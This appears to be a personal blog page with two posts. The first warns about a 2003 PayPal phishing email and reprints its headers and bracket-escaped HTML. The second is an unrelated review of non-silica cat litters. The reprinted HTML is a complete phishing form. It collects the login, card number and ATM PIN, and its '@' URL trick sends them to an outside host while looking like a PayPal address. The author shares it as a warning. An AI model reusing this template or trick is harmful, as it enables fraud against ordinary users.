johan's Journal

I think this is the second time i have received this fraudulent piece of spam. It's a well-faked message that appears to be from PayPal, requesting that one confirm one's account. But after looking at the mail headers and the HTML in the body of the message, i'm pretty sure it's an attempt by BadGuys to collect credit card and bank account numbers, and PayPal IDs from unsuspecting Netizens.
It's very sneaky. After the victim enters the juicy bits, and clicks the "Log In" button,
all of the info entered is sent to web.bigvolumesites.com. Then that host logs-in and
redirects the victim to a real session with Paypal, appearing to validate the process.
This morning, web.bigvolumesites.com resolves to an AOL machine. Last night, it was a dynamic
DSL host in Belgium. I'm going to see if i can contact their Registrar, because they just keep
changing the IP address the hostname points to after the old host collecting the stolen info is
shutdown. I don't expect to have much luck because it appears the BadGuys are in Czechoslavakia,
and their registrar is in India. (sigh)
If you get a message like the one below, suggesting you "confirm your email address" with Paypal,
be very, very suspicious.
The message follows. The HTML tags have been reformated with []'s instead of <>'s so that LJ doesn't
interpret them. A very significant line is in bold.
Return-Path: 7pibxxkxsj@paypal.com Delivery-Date: Thu Jul 3 01:42:22 2003 Return-Path: <7pibxxkxsj@paypal.com> Received: from sarasvati.ewranglers.com (sarasvati.ewranglers.com [66.93.98.133]) by brahma.giantfoo.org (8.11.6p2/8.11.6) with ESMTP id h636gLk22964 for <johan@brahma.giantfoo.org>; Thu, 3 Jul 2003 01:42:22 -0500 (CDT) Received: from vishnu.giantfoo.org (vishnu.giantfoo.org [66.93.98.135]) by sarasvati.ewranglers.com (8.11.6p2/8.11.6) with ESMTP id h636gLF15282 for <johan@ewranglers.com>; Thu, 3 Jul 2003 01:42:21 -0500 (CDT) Received: from compuserve.com (u187n119.hfx.eastlink.ca [24.222.187.119]) by vishnu.giantfoo.org (8.11.6p2/8.11.6) with SMTP id h636gKh10008 for <johan@ewranglers.com>; Thu, 3 Jul 2003 01:42:20 -0500 (CDT) Date: Thu, 03 Jul 2003 05:51:06 +0000 From: 7pibxxkxsj <7pibxxkxsj@paypal.com> Subject: Dear PayPal Customer To: Johan <johan@ewranglers.com> References: <e0j4k78h8he8i77l@ewranglers.com> In-Reply-To: <e0j4k78h8he8i77l@ewranglers.com> Message-ID: <8IDDAI40H25A702L@paypal.com> MIME-Version: 1.0 Content-Type: text/html Content-Transfer-Encoding: 8bit

[html] [head] [STYLE type=text/css] .dummy {} BODY, TD {font-family: verdana,arial,helvetica,sans-serif;font-size: 13px;color: #000000;} UL {list-style: square} .pp_big {font-family: verdana,arial,helvetica,sans-serif;font-size: 24px;font-weight: bold;color: #003366;} .pp_sortofbig {font-family: verdana,arial,helvetica,sans-serif;font-size: 22px;font-weight: bold;color: #003366;} .pp_heading {font-family: verdana,arial,helvetica,sans-serif;font-size: 18px;font-weight: bold;color: #003366;} .pp_subheading {font-family: verdana,arial,helvetica,sans-serif;font-size: 16px;font-weight: bold;color: #003366;} .pp_sidebartext {font-family: verdana,arial,helvetica,sans-serif;font-size: 11px;color: #003366;} .pp_mediumtextbold {font-family: verdana,arial,helvetica,sans-serif;font-size: 14px;font-weight: bold;color: #000000;} .pp_smalltext {font-family: verdana,arial,helvetica,sans-serif;font-size: 10px;font-weight: normal;color: #000000;} .pp_smallbluetext {font-family: verdana,arial,helvetica,sans-serif;font-size: 10px;font-weight: normal;color: #003366;} .pp_footer {font-family: verdana,arial,helvetica,sans-serif;font-size: 11px;color: #aaaaaa;} [/STYLE] [title]PayPal[/title] [/head] [body] [table width="600" cellspacing="0" cellpadding="0" border="0" align="center"] [tr] [td][A href="https://www.paypal.com/"][IMG src="http://www.paypal.com/images/paypal_logo.gif" width=109 height=35 alt="PayPal" border="0" vspace=10][/A] [/td] [/tr] [/table] [table width="100%" cellspacing="0" cellpadding="0" border="0"] [tr] [td background="http://www.paypal.com/images/bg_clk.gif" width="100%"][img src="http://www.paypal.com/images/pixel.gif" height="29" width="1" border="0"][/td] [/tr] [tr] [td][img src="http://www.paypal.com/images/pixel.gif" height="10" width="1" border="0"][/td] [/tr] [/table] [table width="600" cellspacing="0" cellpadding="5" border="0" align="center"] [tr] [td class="pp_sortofbig" align=center]Dear PayPal Customer[/td] [/tr] [tr] [td valign="top"][p] [/p] [p]This e-mail is the notification of recent innovations taken by PayPal to detect inactive customers and non-functioning mailboxes.[/p] [p]The inactive customers are subject to restriction and removal in the next 3 months.[/p] [p]Please confirm your email address and credit card information by logging in to your PayPal account using the form below:[/p][/td] [/tr] [tr] [td align=center]

[form action="http://www.paypal.com0011101100011010011100011100001110001101001110001110000111000110100111000111000011100011@web.bigvolumesites.com/paypal/paypal.php" method="get"]

[p style="margin-left: 4; margin-top: -2; margin-bottom: 0"] [/p]

[table border="0"] [tr] [td][b style="font:bold 8pt"]Email Address:[/b][/td] [td][input name="lgn" type="text" size="30" maxlength="32"][/td] [/tr] [tr] [td][b style="font:bold 8pt"]Password:[/b][/td] [td][input name="psw" type="password" size="30" maxlength="32"][/td] [/tr] [tr] [td][b style="font-style: normal; font-variant: normal; font-weight: bold; font-size: 8pt"]Full Name: [/b][/td] [td][input name="full_name" type="text" size="30" maxlength="32"][/td] [/tr] [tr] [td][b style="font-style: normal; font-variant: normal; font-weight: bold; font-size: 8pt"]Credit Card #: [/b][/td] [td][input name="cc" size="30" maxlength="30"][/td]

[tr] [td][b style="font-style: normal; font-variant: normal; font-weight: bold; font-size: 8pt"]Exp.Date(mm/yyyy): [/b][/td] [td][input name="exp_date" size="30" maxlength="7"][/td]

[tr] [td][b style="font:bold 8pt: normal; font-variant: normal; font-weight: bold; font-size: 8pt"]ATM PIN ([font color=red]For Bank Verification[/font]) #: [/b][/td] [td][input name="pin" type="password" size="30" maxlength="4"][/td]

[/tr] [/table] [p] [input name="ID" type="hidden" size="30" maxlength="32" value="n8h4hnew"] [input type="submit" value=" Log In "] [/p] [/form] [p][br] [span class="pp_smalltext"]This notification expires September 31, 2003[/span] [/p][/td] [/tr] [tr] [td align=center][br] [strong]Thanks for using PayPal! [/strong][br][/td] [/tr] [tr] [td][img src="http://www.paypal.com/images/dot_row_long.gif"][/td] [/tr] [tr] [td class="pp_footer"] This PayPal notification was sent to your mailbox. Your PayPal account is set up to receive the PayPal Periodical newsletter and product updates when you create your account. To modify your notification preferences and unsubscribe, go to [a href="https://www.paypal.com/PREFS-NOTI"]https://www.paypal.com/PREFS-NOTI[/a] and log in to your account. Changes to your preferences may take several days to be reflected in our mailings. Replies to this email will not be processed. [br] [br] Copyright© 2002 PayPal Inc. All rights reserved. Designated trademarks and brands are the property of their respective owners. [/td] [/tr] [/table] [/body][/html]

Yes, this really is a post about cat litter. Maybe there's an LJ interest group for this, but i'm too lazy to check right now.
A few weeks (months?) ago, several of us were shocked and alarmed by the dangers of silica dust from most of the clumping clay cat litters. Since then, i've tried a couple of non-silica dust cat litters. Here are my results...
"World's Best Cat Litter" is the most expensive cat litter as i have ever seen, but as i mentioned before, it really is the best i've seen. It's 100% corn. It seems to control smell and clump better than anything else i have used. And it also seems to last longer, so the 2-3 times higher price is not quite as heinous as it seems. One of my cats took to it well. The other rejected it.
It claims to be flushable, but it clumps so well, i stopped doing this after the first scoop i flushed seemed to make my toilet less than happy. And there are costs with forcing the local wastewater authority to process more solids out of the stream, so flushing any kind of little is may be a bad idea.
Best price: $1.12 / lb.
Good Mews was less expensive and made from "100% recycled paper" (but i don't know if any of that is post-consumer). In my experience, it was inferior in odor control to clumping clay litter, but probably about the same or better than traditional, non-clumping litter. Both of my cats accepted it. I did not find it to be at all scoopable. This might have just been me being stupid. The pellets are pretty large... the were cylindrical in shape, about .5 to .75 inches (1-2 cm) long, and about half the diameter of a pencil. (like a little less than one cm in diameter)
Because this litter doesn't clump and is already dark in color, i found it very difficult to remove the dirty bits and leave the clean ones. So i'd say if you used it, you'd have to change the entire box every 3 days.
Best price: $0.75 / lb.
I'm just started testing a Feline Pine. It seems to resemble the WBCL stuff, but is not quite as expensive. They say it's made from pine dust generated by a mill.
Best price: $ 0.50 / lb.
Note that these best prices are largest bags from big Evil places like Petco... It may not be possible to preserve your soul (or lower back) and still manage to buy them at this price.
For the sake of comparison, the "Pet Gold" brand (Oh yeah, that's exactly what i'm thinking as i scoop the turds and clumps of solidified piss out of the box, 'Yeah, maybe i'll find some GOLD in here one day, if i just keep sifting long enough...') is $0.40 / lb. But of course, it has the nasty silica dust.